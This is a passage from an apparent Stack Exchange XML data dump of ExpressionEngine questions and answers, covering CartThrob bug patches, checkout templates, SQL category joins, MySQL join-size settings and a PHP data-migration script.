pickle)&lt;/li&gt;&#xA;&lt;li&gt;Multiple backend layouts to suit the restaurant, E.g. for iPad layout, POS friendly layout (touch screen), desktop layouts, etc.&lt;/li&gt;&#xA;&lt;li&gt;Allows backend manual order/telephone order creation.&lt;/li&gt;&#xA;&lt;li&gt;Allows backend order modifications.&lt;/li&gt;&#xA;&lt;li&gt;SMS notification integration.&lt;/li&gt;&#xA;&lt;li&gt;Android delivery app (Shows delivery information + map to the driver)&lt;/li&gt;&#xA;&lt;li&gt;A whole bunch more that we're currently working on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's a look at the backend as it looks currently (I've spliced 2 screenshots together). The entire backend is customisable, allowing us to create layouts suitable for specific business types (retail shop, MOTO business, cafe/restaurant, etc)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K4ujd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all in all, if you want to do it properly - I really recommend you create the functionality from scratch with your own custom plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll also point out, &lt;strong&gt;none&lt;/strong&gt; of the businesses we originally approached were interested in partnering with us at the start, &lt;strong&gt;until&lt;/strong&gt; we came back and showed them the printer integration. Restaurants just want the order to pop-out their printer, and be on their way. None of them wanted to have to use any other method to capture the orders information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what comes out the docket printer at the restaurant:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSeYG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="959" LastEditorUserId="959" LastEditDate="2014-02-03T22:10:04.197" LastActivityDate="2014-02-03T22:10:04.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19057" PostTypeId="2" ParentId="18545" CreationDate="2014-02-03T22:21:58.607" Score="3" Body="&lt;p&gt;There's a bug in CartThrob core files causing this. It's been corrected for the next release. You can go to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cartthrob &gt; cartthrob &gt; core &gt; Cartthrob_cart.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function find_item(array $data)&#xA;{&#xA;&#xA;    return current($this-&amp;gt;filter_items($data));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;replace with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function find_item(array $data)&#xA;{&#xA;    $filtered_items = $this-&amp;gt;filter_items($data); &#xA;    if (!empty($filtered_items) &amp;amp;&amp;amp; count($filtered_items) &amp;gt;0)&#xA;    {&#xA;        return current($filtered_items);&#xA;    }&#xA;    return FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should fix it for you until the next release comes out with that fix included. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-03T22:21:58.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19058" PostTypeId="2" ParentId="19054" CreationDate="2014-02-03T22:41:31.670" Score="0" Body="&lt;p&gt;Thanks to Max it led me to a couple of things&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my server I needed to set the config paths in index.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../my_system/';&#xA;$assign_to_config['site_name'] = 'msm-site-two';&#xA;$assign_to_config['site_url']  = 'http://000.000.000.000/msm-site-two/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AND&lt;/strong&gt; &lt;em&gt;(this where I was going wrong and there's little in the docs, even though it's obvious:)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the MSM site's Cpanel General Configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;URL to the root directory of your site: http://000.000.000.000/msm-site-two/index.php/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The trailing slashes were important for me. I guess that might be a server thing.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-02-03T22:41:31.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19059" PostTypeId="2" ParentId="19045" CreationDate="2014-02-03T23:15:27.757" Score="1" Body="&lt;p&gt;To sum up the fix: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open P:E's config.php file. Change the file number from 1.1.8 to 1.1.81. &lt;/li&gt;&#xA;&lt;li&gt;Go to EE &gt; addons &gt; modules &gt; run module updates&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That should fix the whole thing. The root of the problem is that EE changed their extension hooks from safecracker to channel form from 2.5 to 2.7. P:E's set to change the hook, but it looks like it had been updated before EE had. Basically the hook in the database was wrong. CT was looking to see if P:E was installed based on the existence of that hook. There's a few places we'll fix in CT and P:E to rectify this for the next release. In the meantime, you can run the fix above if this happens to you. &lt;/p&gt;&#xA;" OwnerUserId="556" LastEditorUserId="556" LastEditDate="2014-02-05T00:25:53.577" LastActivityDate="2014-02-05T00:25:53.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19060" PostTypeId="1" CreationDate="2014-02-03T23:22:06.610" Score="1" ViewCount="145" Body="&lt;pre&gt;&lt;code&gt;EE: 2.7.1&#xA;Structure: 3.3.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm doing when I get the error below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Created a Template group &lt;code&gt;listings&lt;/code&gt; and a template in that group called &lt;code&gt;contacts&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Created a channel &lt;code&gt;contacts&lt;/code&gt; with a few fields.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Went to Structure CP&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Channel: Contacts&lt;/li&gt;&#xA;&lt;li&gt;Type: Listing&lt;/li&gt;&#xA;&lt;li&gt;Options: &lt;code&gt;listings/contacts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Went to EE CP to create a new entry in the &lt;code&gt;contacts&lt;/code&gt; channel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Entered data into fields, then in the 'Structure' tab, I selected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Structure Page URL: [autofilled from field entries]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Structure Template: &lt;code&gt;listings/contacts&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Listing Channel: [selected &lt;code&gt;Contacts&lt;/code&gt;]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And we're getting this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WhrDQ.png&quot; alt=&quot;The error for Structure&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-04-05T16:47:41.577" Title="Error with Structure Listing entries" Tags="|error|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19061" PostTypeId="2" ParentId="19043" CreationDate="2014-02-03T23:30:52.190" Score="1" Body="&lt;p&gt;Having reviewed the problem and the relevant code, it appears that the data that's &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the configuration is fairly complex I suggest you schedule a Phone/Skype appointment with the CartThrob/Mightybigrobot support team at &lt;a href=&quot;http://support.mightybigrobot.com&quot; rel=&quot;nofollow&quot;&gt;http://support.mightybigrobot.com&lt;/a&gt;. A member of our support team can speak with your personally and will custom tailor a suitable solution to this issue.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the order items field_type you could find: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        foreach ($data as $i =&amp;gt; $row)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;around line 80 and change it to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if (!is_array($data) || empty($data))&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;remove_package_path(PATH_THIRD.'cartthrob/');&#xA;        return $data;&#xA;    }&#xA;    foreach ($data as $i =&amp;gt; $row)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I think what you'll find then is that order items aren't being created for some reason. Normally we'd expect order items to be created during the checkout process (if items exist in the cart), but I'm guessing here that for some reason the items aren't being created, or no data is being passed to the pre_processor (which is in the field type) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we can have a call, one of us can take a look at your specific setup and nail down the issue. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-03T23:30:52.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19062" PostTypeId="2" ParentId="19022" CreationDate="2014-02-03T23:51:56.037" Score="4" Body="&lt;p&gt;If you use the example installation for CartThrob, the default templates have an example of a multi-page checkout: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you do have that installed, you can go to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cartthrob settings &gt; installation &gt; template variables and set the checkout page to &quot;shipping&quot; and a shipping page will show up as the first step in the checkout. There's a lot going on in those templates though, and frankly I prefer to start from scratch myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up the process: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use save_customer_info_form (but I never do) I just use update_cart_form which will do the same thing, but will also allow you to update products if you need to. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add whatever fields you want to capture. (you can find a list of all default acceptable fields here: &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/save_customer_info_form/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/save_customer_info_form/&lt;/a&gt;) You can also add custom fields using the following syntax: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;put a return parameter to take you to whatever next page you need or want in the flow. That could be a final checkout page, or a second page in the flow. Whatever you want. The return parameter is what you need. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For the payment page, you will need to make sure you've captured all of the required fields. Each gateway lists the required fields on its settings page. I've noted that in the comments below. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's a bare-bones example of a 3 page checkout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Billing (page 1) &#xA;{exp:cartthrob:update_cart_form return=&quot;store/shipping&quot;}&#xA;&#xA;         First Name: &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot;   value=&quot;{customer_first_name}&quot; /&amp;gt; &#xA;&#xA;        Last Name: &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot;  value=&quot;{customer_last_name}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; /&amp;gt; &#xA;{/exp:cartthrob:update_cart_form}&#xA;&#xA;Shipping (page 2)&#xA;&#xA;{exp:cartthrob:update_cart_form return=&quot;store/checkout&quot;}&#xA;&#xA;         Shipping First Name: &amp;lt;input type=&quot;text&quot; name=&quot;shipping_first_name&quot;  value=&quot;{customer_shipping_first_name}&quot; /&amp;gt; &#xA;&#xA;        Shipping Last Name: &amp;lt;input type=&quot;text&quot; name=&quot;shipping_last_name&quot;  value=&quot;{customer_shipping_last_name}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; /&amp;gt; &#xA;{/exp:cartthrob:update_cart_form}&#xA;&#xA;&#xA;Checkout (page 3) &#xA;&#xA;{exp:cartthrob:checkout_form return=&quot;&quot; }&#xA;&#xA;&amp;lt;!-- you'll need to get the remaining required fields from the settings for your specific gateway &#xA;go to cartthrob settings &amp;gt; payments &amp;gt; select a gateway to edit / view its settings. If there are any required fields, they will be listed right above: Sample HTML of all fields accepted for this payment processor&#xA;--&amp;gt; &#xA;&amp;lt;!-- you won't need the automated gateway_fields output since you're capturing data as you go {gateway_fields} --&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- example fields ... you may not need these… just depends on the gateway --&amp;gt; &#xA;Credit Card Number Number&amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;credit_card_number&quot; /&amp;gt; &#xA;expiration year {exp:cartthrob:year_select name=&quot;expiration_year&quot;  selected=&quot;{customer_expiration_year}&quot;}&#xA;expiration month {exp:cartthrob:month_select name=&quot;expiration_month&quot; selected=&quot;{customer_expiration_month}&quot;}&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Checkout&quot; /&amp;gt;&#xA;&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-02-03T23:51:56.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19063" PostTypeId="1" CreationDate="2014-02-04T01:31:59.333" Score="1" ViewCount="42" Body="&lt;p&gt;I'm trying to build a permissions / approval based app using EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively user's are assigned trainers. Once the user has passed a skill they login and via SafeCracker would request to be approved for that skill. The request process would also include the name of the trainer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CP I would then like the trainer to be assigned access privileges to the entry so that they could approve or disapprove it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas on how I can achieve this? I do have Solspace User which seems to have  multi author functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-04T01:31:59.333" Title="Allow user via SafeCracker to choose a member with that member then assigned editorial rights to the entry" Tags="|safecracker|solspace-user|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19064" PostTypeId="1" CreationDate="2014-02-04T02:00:43.223" Score="1" ViewCount="84" Body="&lt;p&gt;We are using the aus post shipping extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price during check out does not reflect this, however Store knows about the price that should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i get the shipping price to update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thoroughly read the documentation. I feel this is missing info or a bug!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please read carefully the below our result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:checkout ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fHY2O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2693" LastEditorUserId="2693" LastEditDate="2014-02-04T04:09:15.700" LastActivityDate="2014-10-02T07:32:24.730" Title="Shipping costs not updating during checkout" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19065" PostTypeId="1" AcceptedAnswerId="19067" CreationDate="2014-02-04T02:10:29.390" Score="1" ViewCount="1541" Body="&lt;p&gt;I'm trying to create a query that will output all the entries in a channel. I'm wanting to output the title, some custom fields, and the categories that the entry belongs to. Each entry will belong to one category in Category Group 1, and one category in Category Group 2 (as I'm using the excellent &lt;a href=&quot;http://devot-ee.com/add-ons/category-field&quot; rel=&quot;nofollow&quot;&gt;Category Field add-on&lt;/a&gt; to ensure this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not great with SQL, so I've only worked out how to output the title and custom fields so far. I'm getting stuck on how to output the category names from each category group that each entry belongs to, so was hoping that someone could help me out with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my SQL so far (stripped back as far as I can), and the two commented-out category fields are where I'd like the category names to appear (except I can't figure out how to add the extra joins to pull this information in - linking the entry ID with the exp_category_posts table, and pulling in the category name from the exp_categories table). Thanks in advance for any help with this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;  title AS 'Entry Title',&#xA;  field_id_1 AS 'Custom Field 1',&#xA;  # exp_categories.cat_name AS 'Category Group 1 Category Name',&#xA;  # exp_categories.cat_name AS 'Category Group 2 Category Name',&#xA;&#xA;FROM exp_channel_data cd&#xA;INNER JOIN exp_channel_titles ct ON cd.entry_id = ct.entry_id&#xA;WHERE ct.channel_id = 4;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-02-04T05:13:14.177" Title="How to add categories to a SQL query that outputs channel entry data" Tags="|categories|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19066" PostTypeId="1" CreationDate="2014-02-04T03:52:30.237" Score="0" ViewCount="296" Body="&lt;p&gt;Whats this error supposed to mean? V6059&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    {if error:payment_method}&#xA;                        &amp;lt;div class='error-panel'&amp;gt;Error: {error:payment_method}&amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2693" LastEditorUserId="2693" LastEditDate="2014-02-04T04:09:29.907" LastActivityDate="2014-02-04T15:27:05.657" Title="Error V6059 upon checkout within store" Tags="|expresso-store|error|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19067" PostTypeId="2" ParentId="19065" CreationDate="2014-02-04T04:34:45.343" Score="6" Body="&lt;p&gt;Not sure if it is best way to do this, but something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;  ct.title AS entry_title,&#xA;  cd.field_id_6 AS custom_field_6,&#xA;  (SELECT ca.cat_name FROM exp_category_posts cp INNER JOIN exp_categories ca ON cp.cat_id = ca.cat_id WHERE entry_id = cd.entry_id AND ca.group_id = 1 LIMIT 1) AS cat_1,&#xA;  (SELECT ca.cat_name FROM exp_category_posts cp INNER JOIN exp_categories ca ON cp.cat_id = ca.cat_id WHERE entry_id = cd.entry_id AND ca.group_id = 1 LIMIT 1) AS cat_2&#xA;FROM exp_channel_data cd&#xA;INNER JOIN exp_channel_titles ct ON cd.entry_id = ct.entry_id&#xA;WHERE cd.channel_id = 2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-04T05:13:14.177" LastActivityDate="2014-02-04T05:13:14.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19068" PostTypeId="1" CreationDate="2014-02-04T06:36:18.587" Score="1" ViewCount="1137" Body="&lt;p&gt;When we visit Cartthrob CT Admin (D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=ct_admin&amp;amp;method=orders), it throws following sql error( error no 1104)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1104&#xA;&#xA;The SELECT would examine more than MAX_JOIN_SIZE rows; check your WHERE and use SET SQL_BIG_SELECTS=1 or SET MAX_JOIN_SIZE=# if the SELECT is okay&#xA;&#xA;SELECT ect.entry_id, ect.title, em.member_id, field_id_38 AS first_name, field_id_44 AS last_name, field_id_34 AS email, ect.status, field_id_23 AS order_total, entry_date FROM exp_channel_titles ect, exp_channel_data ecd LEFT JOIN exp_members em ON field_id_34 = em.email WHERE ect.entry_id = ecd.entry_id AND ecd.channel_id = '4' GROUP BY ect.entry_id ORDER BY entry_date DESC LIMIT 0, 10&#xA;&#xA;Filename: third_party/ct_admin/libraries/Ct_admin_orders.php&#xA;&#xA;Line Number: 198&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somebody suggests to run the following query before that query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET SQL_BIG_SELECTS=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i don't want to change the code. is there any other setting we can do in my.conf so that it will be resolved?(Also i don't want to set any query which need to run again if we restart mysql server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw,&#xA;We're using EE 2.5.3 and Cartthrob 2.1.5&#xA;PHP 5.4.6 and Mysql 5.6.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2625" LastEditorUserId="932" LastEditDate="2014-02-04T07:03:21.953" LastActivityDate="2014-02-04T22:55:30.707" Title="Query error for CT Admin, Error # 1104: SELECT would examine more than MAX_JOIN_SIZE rows" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19069" PostTypeId="2" ParentId="19068" CreationDate="2014-02-04T06:50:30.633" Score="3" Body="&lt;p&gt;You can just add it into your my.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max_join_size=#&#xA;sql_big_selects=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is better to ask CT Admin dev team to add it into code. &lt;/p&gt;&#xA;" OwnerUserId="2695" LastEditorUserId="2695" LastEditDate="2014-02-04T07:02:17.870" LastActivityDate="2014-02-04T07:02:17.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19070" PostTypeId="1" CreationDate="2014-02-04T09:40:36.680" Score="0" ViewCount="468" Body="&lt;p&gt;I am using creating template parts (header, footer) but would like to know how I can add a variable, a body class to individual templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see people are using stash but is there another way to set a variable on a per-page basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2616" LastEditorUserId="343" LastEditDate="2014-02-04T12:21:45.597" LastActivityDate="2019-07-09T09:30:01.467" Title="adding a variable to a partial template" Tags="|variable|template-partials|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19071" PostTypeId="1" AcceptedAnswerId="19074" CreationDate="2014-02-04T09:56:52.573" Score="1" ViewCount="176" Body="&lt;p&gt;sorry again for my bad english...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'd like to create a A-Z list for my entries (recipes) and show them if i click on the related letter.&#xA;This code below showing entries by first letter and it's ok but how can i show also empty letters as well?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $temp = ''; ?&amp;gt;&#xA;    {exp:channel:entries channel=&quot;recipes&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;?php&#xA;    $letter = strtoupper(substr('{title}', 0, 1));&#xA;    if ($temp != $letter) {&#xA;        echo &quot;&amp;lt;button data-role='letter-loader' class='button-big button-overlay'&amp;gt;&quot; . $letter . &quot;&amp;lt;/button&amp;gt;&quot;;&#xA;        $temp = $letter;&#xA;    }&#xA;    ?&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i need something like this, where inactive letters are showing as well:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hsuIO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-02-04T10:05:28.567" Title="Creating A-Z index for entries" Tags="|ee2|php|list|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19072" PostTypeId="2" ParentId="19071" CreationDate="2014-02-04T09:59:31.177" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;Low Alphabet&lt;/a&gt; was created for this exact purpose.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-04T09:59:31.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19073" PostTypeId="1" AcceptedAnswerId="19077" CreationDate="2014-02-04T10:03:36.077" Score="5" ViewCount="158" Body="&lt;p&gt;There are many articles of advice about how to speed up the front end of an EE site, but very little about how to improve the performance of the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client is constantly telling me their site's CP is slow. They're on a shared hosting plan - &lt;em&gt;at times&lt;/em&gt; it does take a long time to load certain CP pages - such as adding and editing entries.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any hard, fast rules to speed up the CP?&lt;/li&gt;&#xA;&lt;li&gt;Is CP speed directly related to which addons are used / the amount of custom fields per entry?&lt;/li&gt;&#xA;&lt;li&gt;Does a faster server mean a faster CP? &lt;/li&gt;&#xA;&lt;li&gt;What would be an expected CP page load time?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've just got a &quot;Script executed in 0.5080 seconds - 211 SQL queries used&quot; which seems pretty good, doesn't it? But the client reports (and I can confirm) that sometime page loads are 10 seconds plus+.&lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2014-02-04T10:41:55.187" Title="Control Panel Speed" Tags="|control-panel|admin|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19074" PostTypeId="2" ParentId="19071" CreationDate="2014-02-04T10:05:28.567" Score="2" Body="&lt;p&gt;Low Alphabet is great and you will get excactly wat you want&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-02-04T10:05:28.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19075" PostTypeId="2" ParentId="19033" CreationDate="2014-02-04T10:10:15.930" Score="1" Body="&lt;p&gt;I can't give you a fish, but can show direction. Not sure regarding  Playa part (don't have it)&#xA;but something like this (&lt;em&gt;make sure that you have DB backup before run this code&lt;/em&gt;), run from EE template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$new_channel_id = 2;&#xA;$new_field_group = 2;&#xA;$field_id = 10;&#xA;$playa_field_id = 11;&#xA;&#xA;// array where we keep rel between old entry and new one (for playa)&#xA;$entry_rel = array();&#xA;&#xA;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&#xA;#get all matrix records&#xA;$query =$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query( &quot;SELECT DISTINCT(entry_id)&#xA;                                           FROM exp_matrix_data&#xA;                                           WHERE field_id = $field_id&#xA;                                           &quot; );&#xA;&#xA;if ($query-&amp;gt;num_rows()) {&#xA;    foreach ($query-&amp;gt;result()  as $field)&#xA;    {&#xA;        //create new entry&#xA;        $data = array(&#xA;            'title'         =&amp;gt; 'my new  entry with matrix',&#xA;            'entry_date'    =&amp;gt; time(),&#xA;            'edit_date'     =&amp;gt; time()&#xA;        );&#xA;&#xA;        if (ee()-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($new_channel_id, $data) === FALSE)&#xA;        {&#xA;            print ('An Error Occurred Creating the Entry');&#xA;        }&#xA;&#xA;        // get new entry_id&#xA;        $entry_id = $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;entry_id;  &#xA;        $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;entry_id = NULL;  &#xA;&#xA;        $query =$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query( &quot;UPDATE exp_channel_data&#xA;                                       SET field_id_$field_id = 1&#xA;                                       WHERE entry_id = $entry_id&#xA;                                     &quot; );&#xA;&#xA;        // link matrix record to new entry&#xA;        $query =$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query( &quot;UPDATE exp_matrix_data&#xA;                                       SET entry_id = $entry_id&#xA;                                       WHERE entry_id = $field-&amp;gt;entry_id&#xA;                                     &quot; );&#xA;&#xA;       $entry_rel[$field-&amp;gt;entry_id] = $entry_id; &#xA;    }&#xA;&#xA;    // link field to new group&#xA;    $query =$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query( &quot;UPDATE exp_channel_fields&#xA;                                       SET group_id = $new_field_group&#xA;                                       WHERE field_id = $field_id&#xA;                                     &quot; );&#xA;    // do playa rel.&#xA;    foreach ($entry_rel as $old_entry =&amp;gt; $new_entry)&#xA;    {&#xA;            $data_rel = array (&#xA;                        'parent_entry_id' =&amp;gt; $old_entry&#xA;                        'parent_field_id' =&amp;gt; $playa_field_id&#xA;                        'child_entry_id' =&amp;gt; $new_entry&#xA;            );&#xA;&#xA;            $query =$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query( &quot;UPDATE exp_channel_data&#xA;                                       SET field_id_$playa_field_id = &quot;[$new_entry][my new  entry with matrix][my_new_matrix_url_title]&quot;&#xA;                                  